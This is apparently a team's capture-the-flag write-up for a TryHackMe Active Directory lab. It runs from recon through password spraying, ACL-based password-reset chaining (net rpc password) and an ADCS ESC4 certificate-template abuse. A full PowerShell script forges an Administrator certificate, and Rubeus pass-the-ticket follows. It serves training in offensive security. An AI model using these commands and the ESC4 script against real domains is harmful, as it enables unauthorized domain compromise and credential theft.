---
# System prepended metadata

title: 'THM Industrial CTF Aptitude box writeup '
tags: [industrial, tryahckme, aptitude, boot2root, CTF, machine]

---

---
title: 'THM Industrial CTF Aptitude box writeup '

---

THM Industrial CTF Aptitude  writeup
===


## Table of Contents

[TOC]

# Foothold
## Description

As we make our way deep into the Virelia Water Control Facility, we encounter a target that can alter the course of battle. ZeroTrace is the only one that can see the forest through the trees and successfully breach the target's domain. However, the target knows ZeroTrace is ready for attack and will not go down without a fight.

> We can deduce the some user[s] has the ability to change attributes of other users.

Recon
---

```java
└─$ nmap -Pn -sCV 10.10.93.74 
Nmap scan report for 10.10.93.74
Host is up (0.081s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: aptitude.thm0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.aptitude.thm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.aptitude.thm
| Not valid before: 2025-05-15T05:15:57
|_Not valid after:  2026-05-15T05:15:57
|_ssl-date: 2025-06-29T16:07:35+00:00; -2s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: aptitude.thm0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.aptitude.thm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.aptitude.thm
| Not valid before: 2025-05-15T05:15:57
|_Not valid after:  2026-05-15T05:15:57
|_ssl-date: 2025-06-29T16:07:35+00:00; -2s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.aptitude.thm
| Not valid before: 2025-05-13T20:40:11
|_Not valid after:  2025-11-12T20:40:11
|_ssl-date: 2025-06-29T16:07:35+00:00; -2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: APTITUDE
|   NetBIOS_Domain_Name: APTITUDE
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: aptitude.thm
|   DNS_Computer_Name: DC01.aptitude.thm
|   DNS_Tree_Name: aptitude.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2025-06-29T16:06:55+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-29T16:06:56
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s

```


> Normal Acitve Directory ports with rdp,winrm there.
> Notice the port 88 (Kerberos) is present with the default ldap port 389
> SMB signing enabled and required


```
Domain : aptitude.thm
DC     : DC01.aptitude.thm
```


```javascript

└─$ nxc smb 10.10.93.74 -u guest -p '' --shares
SMB         10.10.93.74     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:aptitude.thm) (signing:True) (SMBv1:False) 
SMB         10.10.93.74     445    DC01             [+] aptitude.thm\guest: 
SMB         10.10.93.74     445    DC01             [*] Enumerated shares
SMB         10.10.93.74     445    DC01             Share           Permissions     Remark
SMB         10.10.93.74     445    DC01             -----           -----------     ------
SMB         10.10.93.74     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.93.74     445    DC01             C$                              Default share
SMB         10.10.93.74     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.93.74     445    DC01             it              READ            For IT Employees
SMB         10.10.93.74     445    DC01             NETLOGON                        Logon server share 
SMB         10.10.93.74     445    DC01             SYSVOL                          Logon server share 

```

> Read access on non-standard share (it), inside it we find welcome.pdf

![image](https://hackmd.io/_uploads/Bk9-D1JBxe.png)


> It's obvious to use Reberto with the password found to get the other users and spray the password.
> We find another users with same password: arlina


- We will now use the user we have to further enumerate the domain itself using `ldapdomaindump` 


```java
─$ ldapdomaindump -u 'aptitude.thm\arlina' -p 'Default_2025!' 10.10.93.74:3268  
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
```

+ Open the domain_users.html file
![image](https://hackmd.io/_uploads/ByJg9kySeg.png)

| arlina can rdp


+ We will login via *xfreerdp* and enumerate more via SahrpHound.
+ First transfer you SharpHound.exe script to target machine
+ After you get the output, transfer it back to you

```
.\SharpHound.exe -c All -d aptitude.thm

```


![image](https://hackmd.io/_uploads/r1v-leJSge.png)


`arlina => phedra => marry-ann => itadmin ` 

```java
net rpc password "PHEDRA" "newP@ssword2022" -U "aptitude.thm"/"arlina"%'Default_2025!' -S "dc01.aptitude.thm" 

net rpc password "MARY-ANN" "newP@ssword2022" -U "aptitude.thm"/"PHEDRA"%'newP@ssword2022' -S "dc01.aptitude.thm"

net rpc password "ITADMIN" "newP@ssword2022" -U "aptitude.thm"/"MARY-ANN"%'newP@ssword2022' -S "dc01.aptitude.thm"
 ```
 
 + We can now login as itadmin and get user.txt 

![image](https://hackmd.io/_uploads/rJXGZgkSxe.png)

<br>

#  Privilege Escalation 

+ Doing services enumeration, manual enumeration and hunting for credentials yields nothing so we check the Certificate Services


> Note that using certipy will yield timeouts because some of the ports are blocked

```powershell
PS C:\Users\itadmin> certutil -template
```



+ Reading the output carefully we notice that *itadmin* has full control over template *ITUser* which is a classic [ESC4](https://www.hackingarticles.in/adcs-esc4-vulnerable-certificate-template-access-control/) vulnerability 
+ We did it manually from inside fool

![image](https://hackmd.io/_uploads/SJZ9GxkBlx.png)

+ Referring to this article [ADCSESC4](https://bloodhound.specterops.io/resources/edges/adcs-esc4#step-1%3A-ensure-the-certificate-template-allows-for-client-authentication)
+ The script below will take care of creating a pfx for the admin for use

```powershell!


$templateName = "ITUser"
$principalName = "itadmin"  
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"


$clientAuthEKU = "1.3.6.1.5.5.7.3.2"
$currentEKUs = $template.Get("pKIExtendedKeyUsage")
if ($currentEKUs -notcontains $clientAuthEKU) {
    $newEKUs = $currentEKUs + @($clientAuthEKU)
    $template.Put("pKIExtendedKeyUsage", $newEKUs)
}

$currentFlags = $template.Get("msPKI-Certificate-Name-Flag")
$newFlags = $currentFlags -bor 0x00000001  
$template.Put("msPKI-Certificate-Name-Flag", $newFlags)

$currentEnrollFlags = $template.Get("msPKI-Enrollment-Flag")
$newEnrollFlags = $currentEnrollFlags -band (-bnot 0x00000002)  
$template.Put("msPKI-Enrollment-Flag", $newEnrollFlags)

$template.Put("msPKI-RA-Signature", 0)
$template.SetInfo()


@"
[NewRequest]
Subject = "CN=Administrator"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0

[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=Administrator@aptitude.thm&"

[RequestAttributes]
CertificateTemplate = ITUser
SAN = upn:Administrator@aptitude.thm
"@ | Out-File -FilePath "esc4_admin.inf" -Encoding ASCII


certreq -new esc4_admin.inf esc4_admin.req
certreq -submit esc4_admin.req esc4_admin.cer
certreq -accept esc4_admin.cer


$adminCert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object {
    $_.Subject -eq "CN=Administrator"
} | Sort-Object NotBefore -Descending | Select-Object -First 1

if ($adminCert) {
    
    
    $password = ConvertTo-SecureString -String "ESC4Attack!" -Force -AsPlainText
    Export-PfxCertificate -Cert $adminCert -FilePath "admin_esc4.pfx" -Password $password
    
}

$adminUser = [ADSI]"LDAP://CN=Administrator,CN=Users,DC=aptitude,DC=thm"
$certMapping = "<I>CN=aptitude-DC01-CA-2,DC=aptitude,DC=thm<S>CN=Administrator"
$adminUser.Put("altSecurityIdentities", @($certMapping))
$adminUser.SetInfo()

```

+ Then grab the thumprint 

```powershell!
Get-ChildItem -Path "Cert:\CurrentUser\My" | Select-Object Subject, Thumbprint, HasPrivateKey
```

+ Request TGT with Rubeus

```powershell
.\rub.exe asktgt /user:Administrator /certificate:<Thumprint>  /domain:aptitude.thm /dc:<dc-ip> /ptt
```

![image](https://hackmd.io/_uploads/Sys1Ag1Hee.png)


![image](https://hackmd.io/_uploads/ry9W0l1Bgx.png)


+ Final step is to use the ticket
> note that psexec didn't work 

```powershell
winrs -r:DC01.aptitude.thm cmd
```

![image](https://hackmd.io/_uploads/SJxu0xkHge.png)



# Credits
+ Team: Toasters
+ d3vnu11 [HackTheBox](https://app.hackthebox.com/users/1414638)
+ ʎɐsǝǝu [HackTheBox](https://app.hackthebox.com/profile/1725001)
